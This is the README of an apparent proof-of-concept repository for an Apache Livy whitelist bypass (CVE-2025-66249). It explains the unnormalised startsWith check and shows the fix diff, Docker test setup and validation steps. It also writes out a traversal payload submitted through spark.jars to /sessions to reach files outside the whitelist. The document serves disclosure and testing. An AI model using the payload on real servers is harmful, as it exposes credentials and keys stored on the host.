
A POC for Apache Livy Path Traversal Whitelist Bypass Vulnerability
For educational and security research purposes only. Do not use against systems you do not own or have explicit written permission to test. → Full Disclaimer
| Field | Detail |
|---|---|
| CVE ID | CVE-2025-66249 |
| Severity | Important (CVSS N/A — NVD assessment pending as of 2026-03-15) |
| Affected | Apache Livy 0.3.0-incubating through 0.8.0-incubating — only when livy.file.local-dir-whitelist is set to a non-default value |
| Fixed in | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| Disclosed | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Reporter | Hiroki Egawa (finder) |
An authenticated user with access to Livy's REST or JDBC interface can submit a Spark session or batch job with a crafted file-path configuration value that escapes the permitted directory whitelist.
Root cause — Path traversal bypass in whitelist check (Session.scala)
When livy.file.local-dir-whitelist is configured, Livy 0.8.0 validates submitted
paths by calling Java's String.startsWith() on the raw, un-normalised path.
This check can be bypassed using ../ traversal sequences:
/opt/safe-data/../sensitive/secret.txt
The raw string starts with /opt/safe-data, so the check passes — but the path
resolves to /opt/sensitive/secret.txt, which is entirely outside the whitelisted
directory.
Trigger condition: The vulnerability can only be exploited when
livy.file.local-dir-whitelist is set to a non-default (non-empty) value.
If the whitelist is empty (the default), path validation is skipped entirely and
the issue is not exercised.
Impact: An attacker who submits a session via the Livy REST API can reference arbitrary local files on the Livy server host. In a shared analytics cluster this translates to potential exposure of credentials, keys, configuration files, or any data readable by the Livy process user.
Session.scalaVulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Fixed (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Both versions were cloned directly from the official Apache Livy GitHub repository using the following exact commands:
Repository: https://github.com/apache/incubator-livy
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() before whitelist check import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Impact in v0.8.0:
The raw string startsWith check can be bypassed with a path traversal payload.
Example: if livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassed)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blocked)Diffs were produced by cloning both tags locally (see above) and running:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← path starts with whitelisted prefix — String.startsWith() passes
← but resolves OUTSIDE the directory via ../ traversal
}
}
│
▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
All steps in this PoC were executed and validated on the following system:
| Component | Detail |
|---|---|
| Host OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architecture | x86_64 |
| Total Memory | 15 GiB |
| Docker Engine | 28.2.2 |
| Host JDK | OpenJDK 17.0.18 (used by host only — containers use eclipse-temurin:11-jdk-focal) |
| Container base image | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Spark version (both images) | 3.1.3 with Hadoop 3.2 |
| Livy version — vulnerable image | 0.8.0-incubating |
| Livy version — fixed image | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Full end-to-end sequence — follow Steps 1 through 4 in order:
Step 1: Build vulnerable image → start container → verify Livy is up
Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container
Step 3: Build fixed image → start container → verify Livy is up
Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container